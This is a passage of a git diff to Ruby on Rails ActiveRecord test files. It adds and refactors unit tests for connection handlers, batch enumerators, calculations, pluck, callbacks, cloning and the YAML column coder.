+ company = Company.new(:rating => 1, :name => "37signals", :firm_name => "37signals")
+ assert_raises(ActiveRecord::ActiveRecordError) do
+ company.touch :updated_at
+ end
end
def test_uniq_delegates_to_scoped
@@ -1478,26 +1409,31 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal scope, Bird.uniq
end
+ def test_distinct_delegates_to_scoped
+ scope = stub
+ Bird.stubs(:all).returns(mock(:distinct => scope))
+ assert_equal scope, Bird.distinct
+ end
+
def test_table_name_with_2_abstract_subclasses
assert_equal "photos", Photo.table_name
end
def test_column_types_typecast
topic = Topic.first
- refute_equal 't.lo', topic.author_name
+ assert_not_equal 't.lo', topic.author_name
attrs = topic.attributes.dup
attrs.delete 'id'
- typecast = Class.new {
+ typecast = Class.new(ActiveRecord::Type::Value) {
def type_cast value
"t.lo"
end
}
types = { 'author_name' => typecast.new }
- topic = Topic.allocate.init_with 'attributes' => attrs,
- 'column_types' => types
+ topic = Topic.instantiate(attrs, types)
assert_equal 't.lo', topic.author_name
end
@@ -1524,22 +1460,71 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal "", Company.new.description
end
- ["find_by", "find_by!"].each do |meth|
- test "#{meth} delegates to scoped" do
- record = stub
+ test "scoped can take a values hash" do
+ klass = Class.new(ActiveRecord::Base)
+ assert_equal ['foo'], klass.all.merge!(select: 'foo').select_values
+ end
+
+ test "connection_handler can be overridden" do
+ klass = Class.new(ActiveRecord::Base)
+ orig_handler = klass.connection_handler
+ new_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+ thread_connection_handler = nil
- scope = mock
- scope.expects(meth).with(:foo, :bar).returns(record)
+ t = Thread.new do
+ klass.connection_handler = new_handler
+ thread_connection_handler = klass.connection_handler
+ end
+ t.join
- klass = Class.new(ActiveRecord::Base)
- klass.stubs(:all => scope)
+ assert_equal klass.connection_handler, orig_handler
+ assert_equal thread_connection_handler, new_handler
+ end
- assert_equal record, klass.public_send(meth, :foo, :bar)
+ test "new threads get default the default connection handler" do
+ klass = Class.new(ActiveRecord::Base)
+ orig_handler = klass.connection_handler
+ handler = nil
+
+ t = Thread.new do
+ handler = klass.connection_handler
end
+ t.join
+
+ assert_equal handler, orig_handler
+ assert_equal klass.connection_handler, orig_handler
+ assert_equal klass.default_connection_handler, orig_handler
end
- test "scoped can take a values hash" do
+ test "changing a connection handler in a main thread does not poison the other threads" do
klass = Class.new(ActiveRecord::Base)
- assert_equal ['foo'], klass.all.merge!(select: 'foo').select_values
+ orig_handler = klass.connection_handler
+ new_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+ after_handler = nil
+ latch1 = ActiveSupport::Concurrency::Latch.new
+ latch2 = ActiveSupport::Concurrency::Latch.new
+
+ t = Thread.new do
+ klass.connection_handler = new_handler
+ latch1.release
+ latch2.await
+ after_handler = klass.connection_handler
+ end
+
+ latch1.await
+
+ klass.connection_handler = orig_handler
+ latch2.release
+ t.join
+
+ assert_equal after_handler, new_handler
+ assert_equal orig_handler, klass.connection_handler
+ end
+
+ # Note: This is a performance optimization for Array#uniq and Hash#[] with
+ # AR::Base objects. If the future has made this irrelevant, feel free to
+ # delete this.
+ test "records without an id have unique hashes" do
+ assert_not_equal Post.new.hash, Post.new.hash
end
end
diff --git a/activerecord/test/cases/batches_test.rb b/activerecord/test/cases/batches_test.rb
index acb8b5f562..c12fa03015 100644
--- a/activerecord/test/cases/batches_test.rb
+++ b/activerecord/test/cases/batches_test.rb
@@ -11,24 +11,52 @@ class EachTest < ActiveRecord::TestCase
Post.count('id') # preheat arel's table cache
end
- def test_each_should_excecute_one_query_per_batch
- assert_queries(Post.count + 1) do
+ def test_each_should_execute_one_query_per_batch
+ assert_queries(@total + 1) do
Post.find_each(:batch_size => 1) do |post|
assert_kind_of Post, post
end
end
end
- def test_each_should_not_return_query_chain_and_execcute_only_one_query
+ def test_each_should_not_return_query_chain_and_execute_only_one_query
assert_queries(1) do
result = Post.find_each(:batch_size => 100000){ }
assert_nil result
end
end
+ def test_each_should_return_an_enumerator_if_no_block_is_present
+ assert_queries(1) do
+ Post.find_each(:batch_size => 100000).with_index do |post, index|
+ assert_kind_of Post, post
+ assert_kind_of Integer, index
+ end
+ end
+ end
+
+ if Enumerator.method_defined? :size
+ def test_each_should_return_a_sized_enumerator
+ assert_equal 11, Post.find_each(:batch_size => 1).size
+ assert_equal 5, Post.find_each(:batch_size => 2, :start => 7).size
+ assert_equal 11, Post.find_each(:batch_size => 10_000).size
+ end
+ end
+
+ def test_each_enumerator_should_execute_one_query_per_batch
+ assert_queries(@total + 1) do
+ Post.find_each(:batch_size => 1).with_index do |post, index|
+ assert_kind_of Post, post
+ assert_kind_of Integer, index
+ end
+ end
+ end
+
def test_each_should_raise_if_select_is_set_without_id
assert_raise(RuntimeError) do
- Post.select(:title).find_each(:batch_size => 1) { |post| post }
+ Post.select(:title).find_each(batch_size: 1) { |post|
+ flunk "should not call this block"
+ }
end
end
@@ -50,8 +78,18 @@ class EachTest < ActiveRecord::TestCase
Post.order("title").find_each { |post| post }
end
+ def test_logger_not_required
+ previous_logger = ActiveRecord::Base.logger
+ ActiveRecord::Base.logger = nil
+ assert_nothing_raised do
+ Post.limit(1).find_each { |post| post }
+ end
+ ensure
+ ActiveRecord::Base.logger = previous_logger
+ end
+
def test_find_in_batches_should_return_batches
- assert_queries(Post.count + 1) do
+ assert_queries(@total + 1) do
Post.find_in_batches(:batch_size => 1) do |batch|
assert_kind_of Array, batch
assert_kind_of Post, batch.first
@@ -60,7 +98,7 @@ class EachTest < ActiveRecord::TestCase
end
def test_find_in_batches_should_start_from_the_start_option
- assert_queries(Post.count) do
+ assert_queries(@total) do
Post.find_in_batches(:batch_size => 1, :start => 2) do |batch|
assert_kind_of Array, batch
assert_kind_of Post, batch.first
@@ -68,15 +106,13 @@ class EachTest < ActiveRecord::TestCase
end
end
- def test_find_in_batches_shouldnt_excute_query_unless_needed
- post_count = Post.count
-
+ def test_find_in_batches_shouldnt_execute_query_unless_needed
assert_queries(2) do
- Post.find_in_batches(:batch_size => post_count) {|batch| assert_kind_of Array, batch }
+ Post.find_in_batches(:batch_size => @total) {|batch| assert_kind_of Array, batch }
end
assert_queries(1) do
- Post.find_in_batches(:batch_size => post_count + 1) {|batch| assert_kind_of Array, batch }
+ Post.find_in_batches(:batch_size => @total + 1) {|batch| assert_kind_of Array, batch }
end
end
@@ -125,6 +161,12 @@ class EachTest < ActiveRecord::TestCase
assert_equal special_posts_ids, posts.map(&:id)
end
+ def test_find_in_batches_should_not_modify_passed_options
+ assert_nothing_raised do
+ Post.find_in_batches({ batch_size: 42, start: 1 }.freeze){}
+ end
+ end
+
def test_find_in_batches_should_use_any_column_as_primary_key
nick_order_subscribers = Subscriber.order('nick asc')
start_nick = nick_order_subscribers.second.nick
@@ -144,4 +186,27 @@ class EachTest < ActiveRecord::TestCase
end
end
end
+
+ def test_find_in_batches_should_return_an_enumerator
+ enum = nil
+ assert_queries(0) do
+ enum = Post.find_in_batches(:batch_size => 1)
+ end
+ assert_queries(4) do
+ enum.first(4) do |batch|
+ assert_kind_of Array, batch
+ assert_kind_of Post, batch.first
+ end
+ end
+ end
+
+ if Enumerator.method_defined? :size
+ def test_find_in_batches_should_return_a_sized_enumerator
+ assert_equal 11, Post.find_in_batches(:batch_size => 1).size
+ assert_equal 6, Post.find_in_batches(:batch_size => 2).size
+ assert_equal 4, Post.find_in_batches(:batch_size => 2, :start => 4).size
+ assert_equal 4, Post.find_in_batches(:batch_size => 3).size
+ assert_equal 1, Post.find_in_batches(:batch_size => 10_000).size
+ end
+ end
end
diff --git a/activerecord/test/cases/binary_test.rb b/activerecord/test/cases/binary_test.rb
index 25d2896ab0..ccf2be369d 100644
--- a/activerecord/test/cases/binary_test.rb
+++ b/activerecord/test/cases/binary_test.rb
@@ -2,9 +2,9 @@
require "cases/helper"
# Without using prepared statements, it makes no sense to test
-# BLOB data with DB2 or Firebird, because the length of a statement
+# BLOB data with DB2, because the length of a statement
# is limited to 32KB.
-unless current_adapter?(:SybaseAdapter, :DB2Adapter, :FirebirdAdapter)
+unless current_adapter?(:DB2Adapter)
require 'models/binary'
class BinaryTest < ActiveRecord::TestCase
@@ -21,9 +21,9 @@ unless current_adapter?(:SybaseAdapter, :DB2Adapter, :FirebirdAdapter)
name = binary.name
- # Mysql adapter doesn't properly encode things, so we have to do it
+ # MySQL adapter doesn't properly encode things, so we have to do it
if current_adapter?(:MysqlAdapter)
- name.force_encoding('UTF-8')
+ name.force_encoding(Encoding::UTF_8)
end
assert_equal 'ã„ãŸã ãã¾ã™ï¼', name
end
diff --git a/activerecord/test/cases/bind_parameter_test.rb b/activerecord/test/cases/bind_parameter_test.rb
index 03aa9fdb27..c4634d11e2 100644
--- a/activerecord/test/cases/bind_parameter_test.rb
+++ b/activerecord/test/cases/bind_parameter_test.rb
@@ -20,49 +20,57 @@ module ActiveRecord
def setup
super
@connection = ActiveRecord::Base.connection
- @listener = LogListener.new
- @pk = Topic.columns.find { |c| c.primary }
- ActiveSupport::Notifications.subscribe('sql.active_record', @listener)
-
- skip_if_prepared_statement_caching_is_not_supported
+ @subscriber = LogListener.new
+ @pk = Topic.columns_hash[Topic.primary_key]
+ @subscription = ActiveSupport::Notifications.subscribe('sql.active_record', @subscriber)
end
- def teardown
- ActiveSupport::Notifications.unsubscribe(@listener)
+ teardown do
+ ActiveSupport::Notifications.unsubscribe(@subscription)
end
- def test_binds_are_logged
- sub = @connection.substitute_at(@pk, 0)
- binds = [[@pk, 1]]
- sql = "select * from topics where id = #{sub}"
+ if ActiveRecord::Base.connection.supports_statement_cache?
+ def test_binds_are_logged
+ sub = @connection.substitute_at(@pk)
+ binds = [[@pk, 1]]
+ sql = "select * from topics where id = #{sub.to_sql}"
- @connection.exec_query(sql, 'SQL', binds)
+ @connection.exec_query(sql, 'SQL', binds)
- message = @listener.calls.find { |args| args[4][:sql] == sql }
- assert_equal binds, message[4][:binds]
- end
+ message = @subscriber.calls.find { |args| args[4][:sql] == sql }
+ assert_equal binds, message[4][:binds]
+ end
- def test_find_one_uses_binds
- Topic.find(1)
- binds = [[@pk, 1]]
- message = @listener.calls.find { |args| args[4][:binds] == binds }
- assert message, 'expected a message with binds'
- end
+ def test_binds_are_logged_after_type_cast
+ sub = @connection.substitute_at(@pk)
+ binds = [[@pk, "3"]]
+ sql = "select * from topics where id = #{sub.to_sql}"
- def test_logs_bind_vars
- pk = Topic.columns.find { |x| x.primary }
-
- payload = {
- :name => 'SQL',
- :sql => 'select * from topics where id = ?',
- :binds => [[pk, 10]]
- }
- event = ActiveSupport::Notifications::Event.new(
- 'foo',
- Time.now,
- Time.now,
- 123,
- payload)
+ @connection.exec_query(sql, 'SQL', binds)
+
+ message = @subscriber.calls.find { |args| args[4][:sql] == sql }
+ assert_equal [[@pk, 3]], message[4][:binds]
+ end
+
+ def test_find_one_uses_binds
+ Topic.find(1)
+ binds = [[@pk, 1]]
+ message = @subscriber.calls.find { |args| args[4][:binds] == binds }
+ assert message, 'expected a message with binds'
+ end
+
+ def test_logs_bind_vars
+ payload = {
+ :name => 'SQL',
+ :sql => 'select * from topics where id = ?',
+ :binds => [[@pk, 10]]
+ }
+ event = ActiveSupport::Notifications::Event.new(
+ 'foo',
+ Time.now,
+ Time.now,
+ 123,
+ payload)
logger = Class.new(ActiveRecord::LogSubscriber) {
attr_reader :debugs
@@ -77,13 +85,8 @@ module ActiveRecord
}.new
logger.sql event
- assert_match([[pk.name, 10]].inspect, logger.debugs.first)
- end
-
- private
-
- def skip_if_prepared_statement_caching_is_not_supported
- skip('prepared statement caching is not supported') unless @connection.supports_statement_cache?
+ assert_match([[@pk.name, 10]].inspect, logger.debugs.first)
+ end
end
end
end
diff --git a/activerecord/test/cases/calculations_test.rb b/activerecord/test/cases/calculations_test.rb
index 5cb7eabf0e..e886268a72 100644
--- a/activerecord/test/cases/calculations_test.rb
+++ b/activerecord/test/cases/calculations_test.rb
@@ -6,17 +6,21 @@ require 'models/edge'
require 'models/organization'
require 'models/possession'
require 'models/topic'
+require 'models/reply'
require 'models/minivan'
require 'models/speedometer'
-
-Company.has_many :accounts
+require 'models/ship_part'
class NumericData < ActiveRecord::Base
self.table_name = 'numeric_data'
+
+ attribute :world_population, Type::Integer.new
+ attribute :my_house_population, Type::Integer.new
+ attribute :atoms_in_universe, Type::Integer.new
end
class CalculationsTest < ActiveRecord::TestCase
- fixtures :companies, :accounts, :topics
+ fixtures :companies, :accounts, :topics, :speedometers, :minivans
def test_should_sum_field
assert_equal 318, Account.sum(:credit_limit)
@@ -27,14 +31,19 @@ class CalculationsTest < ActiveRecord::TestCase
assert_equal 53.0, value
end
+ def test_should_resolve_aliased_attributes
+ assert_equal 318, Account.sum(:available_credit)
+ end
+
def test_should_return_decimal_average_of_integer_field
value = Account.average(:id)
assert_equal 3.5, value
end
def test_should_return_integer_average_if_db_returns_such
- Account.connection.stubs :select_value => 3
- value = Account.average(:id)
+ ShipPart.delete_all
+ ShipPart.create!(:id => 3, :name => 'foo')
+ value = ShipPart.average(:id)
assert_equal 3, value
end
@@ -42,11 +51,6 @@ class CalculationsTest < ActiveRecord::TestCase
assert_nil NumericData.average(:bank_balance)
end
- def test_type_cast_calculated_value_should_convert_db_averages_of_fixnum_class_to_decimal
- assert_equal 0, NumericData.all.send(:type_cast_calculated_value, 0, nil, 'avg')
- assert_equal 53.0, NumericData.all.send(:type_cast_calculated_value, 53, nil, 'avg')
- end
-
def test_should_get_maximum_of_field
assert_equal 60, Account.maximum(:credit_limit)
end
@@ -94,25 +98,24 @@ class CalculationsTest < ActiveRecord::TestCase
end
def test_should_order_by_grouped_field
- c = Account.all.merge!(:group => :firm_id, :order => "firm_id").sum(:credit_limit)
+ c = Account.group(:firm_id).order("firm_id").sum(:credit_limit)
assert_equal [1, 2, 6, 9], c.keys.compact
end
def test_should_order_by_calculation
- c = Account.all.merge!(:group => :firm_id, :order => "sum_credit_limit desc, firm_id").sum(:credit_limit)
+ c = Account.group(:firm_id).order("sum_credit_limit desc, firm_id").sum(:credit_limit)
assert_equal [105, 60, 53, 50, 50], c.keys.collect { |k| c[k] }
assert_equal [6, 2, 9, 1], c.keys.compact
end
def test_should_limit_calculation
- c = Account.all.merge!(:where => "firm_id IS NOT NULL",
- :group => :firm_id, :order => "firm_id", :limit => 2).sum(:credit_limit)
+ c = Account.where("firm_id IS NOT NULL").group(:firm_id).order("firm_id").limit(2).sum(:credit_limit)
assert_equal [1, 2], c.keys.compact
end
def test_should_limit_calculation_with_offset
- c = Account.all.merge!(:where => "firm_id IS NOT NULL", :group => :firm_id,
- :order => "firm_id", :limit => 2, :offset => 1).sum(:credit_limit)
+ c = Account.where("firm_id IS NOT NULL").group(:firm_id).order("firm_id").
+ limit(2).offset(1).sum(:credit_limit)
assert_equal [2, 6], c.keys.compact
end
@@ -161,9 +164,17 @@ class CalculationsTest < ActiveRecord::TestCase
assert_no_match(/OFFSET/, queries.first)
end
+ def test_count_on_invalid_columns_raises
+ e = assert_raises(ActiveRecord::StatementInvalid) {
+ Account.select("credit_limit, firm_name").count
+ }
+
+ assert_match %r{accounts}i, e.message
+ assert_match "credit_limit, firm_name", e.message
+ end
+
def test_should_group_by_summed_field_having_condition
- c = Account.all.merge!(:group => :firm_id,
- :having => 'sum(credit_limit) > 50').sum(:credit_limit)
+ c = Account.group(:firm_id).having('sum(credit_limit) > 50').sum(:credit_limit)
assert_nil c[1]
assert_equal 105, c[6]
assert_equal 60, c[2]
@@ -197,18 +208,20 @@ class CalculationsTest < ActiveRecord::TestCase
assert_equal 19.83, NumericData.sum(:bank_balance)
end
+ def test_should_return_type_casted_values_with_group_and_expression
+ assert_equal 0.5, Account.group(:firm_name).sum('0.01 * credit_limit')['37signals']
+ end
+
def test_should_group_by_summed_field_with_conditions
- c = Account.all.merge!(:where => 'firm_id > 1',
- :group => :firm_id).sum(:credit_limit)
+ c = Account.where('firm_id > 1').group(:firm_id).sum(:credit_limit)
assert_nil c[1]
assert_equal 105, c[6]
assert_equal 60, c[2]
end
def test_should_group_by_summed_field_with_conditions_and_having
- c = Account.all.merge!(:where => 'firm_id > 1',
- :group => :firm_id,
- :having => 'sum(credit_limit) > 60').sum(:credit_limit)
+ c = Account.where('firm_id > 1').group(:firm_id).
+ having('sum(credit_limit) > 60').sum(:credit_limit)
assert_nil c[1]
assert_equal 105, c[6]
assert_nil c[2]
@@ -262,7 +275,7 @@ class CalculationsTest < ActiveRecord::TestCase
c = Company.group("UPPER(#{QUOTED_TYPE})").count(:all)
assert_equal 2, c[nil]
assert_equal 1, c['DEPENDENTFIRM']
- assert_equal 4, c['CLIENT']
+ assert_equal 5, c['CLIENT']
assert_equal 2, c['FIRM']
end
@@ -270,7 +283,7 @@ class CalculationsTest < ActiveRecord::TestCase
c = Company.group("UPPER(companies.#{QUOTED_TYPE})").count(:all)
assert_equal 2, c[nil]
assert_equal 1, c['DEPENDENTFIRM']
- assert_equal 4, c['CLIENT']
+ assert_equal 5, c['CLIENT']
assert_equal 2, c['FIRM']
end
@@ -303,8 +316,8 @@ class CalculationsTest < ActiveRecord::TestCase
end
def test_should_count_selected_field_with_include
- assert_equal 6, Account.includes(:firm).count(:distinct => true)
- assert_equal 4, Account.includes(:firm).select(:credit_limit).count(:distinct => true)
+ assert_equal 6, Account.includes(:firm).distinct.count
+ assert_equal 4, Account.includes(:firm).distinct.select(:credit_limit).count
end
def test_should_not_perform_joined_include_by_default
@@ -320,7 +333,7 @@ class CalculationsTest < ActiveRecord::TestCase
def test_should_count_scoped_select
Account.update_all("credit_limit = NULL")
- assert_equal 0, Account.all.merge!(:select => "credit_limit").count
+ assert_equal 0, Account.select("credit_limit").count
end
def test_should_count_scoped_select_with_options
@@ -328,28 +341,37 @@ class CalculationsTest < ActiveRecord::TestCase
Account.last.update_columns('credit_limit' => 49)
Account.first.update_columns('credit_limit' => 51)
- assert_equal 1, Account.all.merge!(:select => "credit_limit").where('credit_limit >= 50').count
+ assert_equal 1, Account.select("credit_limit").where('credit_limit >= 50').count
end
def test_should_count_manual_select_with_include
- assert_equal 6, Account.all.merge!(:select => "DISTINCT accounts.id", :includes => :firm).count
+ assert_equal 6, Account.select("DISTINCT accounts.id").includes(:firm).count
end
def test_count_with_column_parameter
assert_equal 5, Account.count(:firm_id)
end
+ def test_count_with_distinct
+ assert_equal 4, Account.select(:credit_limit).distinct.count
+ assert_equal 4, Account.select(:credit_limit).uniq.count
+ end
+
+ def test_count_with_aliased_attribute
+ assert_equal 6, Account.count(:available_credit)
+ end
+
def test_count_with_column_and_options_parameter
assert_equal 2, Account.where("credit_limit = 50 AND firm_id IS NOT NULL").count(:firm_id)
end
def test_should_count_field_in_joined_table
assert_equal 5, Account.joins(:firm).count('companies.id')
- assert_equal 4, Account.joins(:firm).count('companies.id', :distinct => true)
+ assert_equal 4, Account.joins(:firm).distinct.count('companies.id')
end
def test_should_count_field_in_joined_table_with_group_by
- c = Account.all.merge!(:group => 'accounts.firm_id', :joins => :firm).count('companies.id')
+ c = Account.group('accounts.firm_id').joins(:firm).count('companies.id')
[1,6,2,9].each { |firm_id| assert c.keys.include?(firm_id) }
end
@@ -362,6 +384,20 @@ class CalculationsTest < ActiveRecord::TestCase
assert_raise(ArgumentError) { Account.count(1, 2, 3) }
end
+ def test_count_with_order
+ assert_equal 6, Account.order(:credit_limit).count
+ end
+
+ def test_count_with_reverse_order
+ assert_equal 6, Account.order(:credit_limit).reverse_order.count
+ end
+
+ def test_count_with_where_and_order
+ assert_equal 1, Account.where(firm_name: '37signals').count
+ assert_equal 1, Account.where(firm_name: '37signals').order(:firm_name).count
+ assert_equal 1, Account.where(firm_name: '37signals').order(:firm_name).reverse_order.count
+ end
+
def test_should_sum_expression
# Oracle adapter returns floating point value 636.0 after SUM
if current_adapter?(:OracleAdapter)
@@ -389,12 +425,6 @@ class CalculationsTest < ActiveRecord::TestCase
Account.where("credit_limit > 50").from('accounts').sum(:credit_limit)
end
- def test_sum_array_compatibility_deprecation
- assert_deprecated do
- assert_equal Account.sum(:credit_limit), Account.sum(&:credit_limit)
- end
- end
-
def test_average_with_from_option
assert_equal Account.average(:credit_limit), Account.from('accounts').average(:credit_limit)
assert_equal Account.where("credit_limit > 50").average(:credit_limit),
@@ -416,37 +446,21 @@ class CalculationsTest < ActiveRecord::TestCase
def test_maximum_with_not_auto_table_name_prefix_if_column_included
Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
- # TODO: Investigate why PG isn't being typecast
- if current_adapter?(:PostgreSQLAdapter) || current_adapter?(:MysqlAdapter)
- assert_equal "7", Company.includes(:contracts).maximum(:developer_id)
- else
- assert_equal 7, Company.includes(:contracts).maximum(:developer_id)
- end
+ assert_equal 7, Company.includes(:contracts).maximum(:developer_id)
end
def test_minimum_with_not_auto_table_name_prefix_if_column_included
Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
- # TODO: Investigate why PG isn't being typecast
- if current_adapter?(:PostgreSQLAdapter) || current_adapter?(:MysqlAdapter)
- assert_equal "7", Company.includes(:contracts).minimum(:developer_id)
- else
- assert_equal 7, Company.includes(:contracts).minimum(:developer_id)
- end
+ assert_equal 7, Company.includes(:contracts).minimum(:developer_id)
end
def test_sum_with_not_auto_table_name_prefix_if_column_included
Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
- # TODO: Investigate why PG isn't being typecast
- if current_adapter?(:MysqlAdapter) || current_adapter?(:PostgreSQLAdapter)
- assert_equal "7", Company.includes(:contracts).sum(:developer_id)
- else
- assert_equal 7, Company.includes(:contracts).sum(:developer_id)
- end
+ assert_equal 7, Company.includes(:contracts).sum(:developer_id)
end
-
def test_from_option_with_specified_index
if Edge.connection.adapter_name == 'MySQL' or Edge.connection.adapter_name == 'Mysql2'
assert_equal Edge.count(:all), Edge.from('edges USE INDEX(unique_edge_index)').count(:all)
@@ -462,14 +476,19 @@ class CalculationsTest < ActiveRecord::TestCase
def test_distinct_is_honored_when_used_with_count_operation_after_group
# Count the number of authors for approved topics
approved_topics_count = Topic.group(:approved).count(:author_name)[true]
- assert_equal approved_topics_count, 3
+ assert_equal approved_topics_count, 4
# Count the number of distinct authors for approved Topics
- distinct_authors_for_approved_count = Topic.group(:approved).count(:author_name, :distinct => true)[true]
- assert_equal distinct_authors_for_approved_count, 2
+ distinct_authors_for_approved_count = Topic.group(:approved).distinct.count(:author_name)[true]
+ assert_equal distinct_authors_for_approved_count, 3
end
def test_pluck
- assert_equal [1,2,3,4], Topic.order(:id).pluck(:id)
+ assert_equal [1,2,3,4,5], Topic.order(:id).pluck(:id)
+ end
+
+ def test_pluck_without_column_names
+ assert_equal [[1, "Firm", 1, nil, "37signals", nil, 1, nil, ""]],
+ Company.order(:id).limit(1).pluck
end
def test_pluck_type_cast
@@ -490,13 +509,17 @@ class CalculationsTest < ActiveRecord::TestCase
assert_equal [contract.id], company.contracts.pluck(:id)
end
+ def test_pluck_on_aliased_attribute
+ assert_equal 'The First Topic', Topic.order(:id).pluck(:heading).first
+ end
+
def test_pluck_with_serialization
t = Topic.create!(:content => { :foo => :bar })
assert_equal [{:foo => :bar}], Topic.where(:id => t.id).pluck(:content)
end
def test_pluck_with_qualified_column_name
- assert_equal [1,2,3,4], Topic.order(:id).pluck("topics.id")
+ assert_equal [1,2,3,4,5], Topic.order(:id).pluck("topics.id")
end
def test_pluck_auto_table_name_prefix
@@ -529,6 +552,11 @@ class CalculationsTest < ActiveRecord::TestCase
assert_equal Company.all.map(&:id).sort, Company.ids.sort
end
+ def test_pluck_with_includes_limit_and_empty_result
+ assert_equal [], Topic.includes(:replies).limit(0).pluck(:id)
+ assert_equal [], Topic.includes(:replies).limit(1).where('0 = 1').pluck(:id)
+ end
+
def test_pluck_not_auto_table_name_prefix_if_column_included
Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
ids = Company.includes(:contracts).pluck(:developer_id)
@@ -539,11 +567,13 @@ class CalculationsTest < ActiveRecord::TestCase
def test_pluck_multiple_columns
assert_equal [
[1, "The First Topic"], [2, "The Second Topic of the day"],
- [3, "The Third Topic of the day"], [4, "The Fourth Topic of the day"]
+ [3, "The Third Topic of the day"], [4, "The Fourth Topic of the day"],
+ [5, "The Fifth Topic of the day"]
], Topic.order(:id).pluck(:id, :title)
assert_equal [
[1, "The First Topic", "David"], [2, "The Second Topic of the day", "Mary"],
- [3, "The Third Topic of the day", "Carl"], [4, "The Fourth Topic of the day", "Carl"]
+ [3, "The Third Topic of the day", "Carl"], [4, "The Fourth Topic of the day", "Carl"],
+ [5, "The Fifth Topic of the day", "Jason"]
], Topic.order(:id).pluck(:id, :title, :author_name)
end
@@ -569,7 +599,14 @@ class CalculationsTest < ActiveRecord::TestCase
def test_pluck_replaces_select_clause
taks_relation = Topic.select(:approved, :id).order(:id)
- assert_equal [1,2,3,4], taks_relation.pluck(:id)
- assert_equal [false, true, true, true], taks_relation.pluck(:approved)
+ assert_equal [1,2,3,4,5], taks_relation.pluck(:id)
+ assert_equal [false, true, true, true, true], taks_relation.pluck(:approved)
+ end
+
+ def test_pluck_columns_with_same_name
+ expected = [["The First Topic", "The Second Topic of the day"], ["The Third Topic of the day", "The Fourth Topic of the day"]]
+ actual = Topic.joins(:replies)
+ .pluck('topics.title', 'replies_topics.title')
+ assert_equal expected, actual
end
end
diff --git a/activerecord/test/cases/callbacks_test.rb b/activerecord/test/cases/callbacks_test.rb
index 7457bafd4e..e3c3c2fcdf 100644
--- a/activerecord/test/cases/callbacks_test.rb
+++ b/activerecord/test/cases/callbacks_test.rb
@@ -1,4 +1,6 @@
require "cases/helper"
+require 'models/developer'
+require 'models/computer'
class CallbackDeveloper < ActiveRecord::Base
self.table_name = 'developers'
@@ -43,7 +45,7 @@ class CallbackDeveloper < ActiveRecord::Base
end
class CallbackDeveloperWithFalseValidation < CallbackDeveloper
- before_validation proc { |model| model.history << [:before_validation, :returning_false]; return false }
+ before_validation proc { |model| model.history << [:before_validation, :returning_false]; false }
before_validation proc { |model| model.history << [:before_validation, :should_never_get_here] }
end
@@ -441,7 +443,8 @@ class CallbacksTest < ActiveRecord::TestCase
david = ImmutableDeveloper.find(1)
assert david.valid?
assert !david.save
- assert_raise(ActiveRecord::RecordNotSaved) { david.save! }
+ exc = assert_raise(ActiveRecord::RecordNotSaved) { david.save! }
+ assert_equal exc.record, david
david = ImmutableDeveloper.find(1)
david.salary = 10_000_000
@@ -475,7 +478,8 @@ class CallbacksTest < ActiveRecord::TestCase
def test_before_destroy_returning_false
david = ImmutableDeveloper.find(1)
assert !david.destroy
- assert_raise(ActiveRecord::RecordNotDestroyed) { david.destroy! }
+ exc = assert_raise(ActiveRecord::RecordNotDestroyed) { david.destroy! }
+ assert_equal exc.record, david
assert_not_nil ImmutableDeveloper.find_by_id(1)
someone = CallbackCancellationDeveloper.find(1)
@@ -520,7 +524,7 @@ class CallbacksTest < ActiveRecord::TestCase
], david.history
end
- def test_inheritence_of_callbacks
+ def test_inheritance_of_callbacks
parent = ParentDeveloper.new
assert !parent.after_save_called
parent.save
diff --git a/activerecord/test/cases/clone_test.rb b/activerecord/test/cases/clone_test.rb
index d91646efca..5e43082c33 100644
--- a/activerecord/test/cases/clone_test.rb
+++ b/activerecord/test/cases/clone_test.rb
@@ -29,5 +29,12 @@ module ActiveRecord
topic.author_name = 'Aaron'
assert_equal 'Aaron', cloned.author_name
end
+
+ def test_freezing_a_cloned_model_does_not_freeze_clone
+ cloned = Topic.new
+ clone = cloned.clone
+ cloned.freeze
+ assert_not clone.frozen?
+ end
end
end
diff --git a/activerecord/test/cases/coders/yaml_column_test.rb b/activerecord/test/cases/coders/yaml_column_test.rb
index b874adc081..b72c54f97b 100644
--- a/activerecord/test/cases/coders/yaml_column_test.rb
+++ b/activerecord/test/cases/coders/yaml_column_test.rb
@@ -43,10 +43,20 @@ module ActiveRecord
assert_equal [], coder.load([])
end
- def test_load_swallows_yaml_exceptions
+ def test_load_doesnt_swallow_yaml_exceptions
coder = YAMLColumn.new
bad_yaml = '--- {'
- assert_equal bad_yaml, coder.load(bad_yaml)
+ assert_raises(Psych::SyntaxError) do
+ coder.load(bad_yaml)
+ end
+ end
+
+ def test_load_doesnt_handle_undefined_class_or_module
+ coder = YAMLColumn.new
+ missing_class_yaml = '--- !ruby/object:DoesNotExistAndShouldntEver {}\n'
+ assert_raises(ArgumentError) do
+ coder.load(missing_class_yaml)
+ end
end
end
end
diff --git a/activerecord/test/cases/column_definition_test.rb b/activerecord/test/cases/column_definition_test.rb
index bd2fbaa7db..bcfd66b4bf 100644
--- a/activerecord/test/cases/column_definition_test.rb
+++ b/activerecord/test/cases/column_definition_test.rb
@@ -8,131 +8,112 @@ module ActiveRecord
def @adapter.native_database_types
{:string => "varchar"}
end
- end
-
- def test_can_set_coder
- column = Column.new("title", nil, "varchar(20)")
- column.coder = YAML
- assert_equal YAML, column.coder
- end
-
- def test_encoded?
- column = Column.new("title", nil, "varchar(20)")
- assert !column.encoded?
-
- column.coder = YAML
- assert column.encoded?
- end
-
- def test_type_case_coded_column
- column = Column.new("title", nil, "varchar(20)")
- column.coder = YAML
- assert_equal "hello", column.type_cast("--- hello")
+ @viz = @adapter.schema_creation
end
# Avoid column definitions in create table statements like:
# `title` varchar(255) DEFAULT NULL
def test_should_not_include_default_clause_when_default_is_null
- column = Column.new("title", nil, "varchar(20)")
+ column = Column.new("title", nil, Type::String.new(limit: 20))
column_def = ColumnDefinition.new(
- @adapter, column.name, "string",
+ column.name, "string",
column.limit, column.precision, column.scale, column.default, column.null)
- assert_equal "title varchar(20)", column_def.to_sql
+ assert_equal "title varchar(20)", @viz.accept(column_def)
end
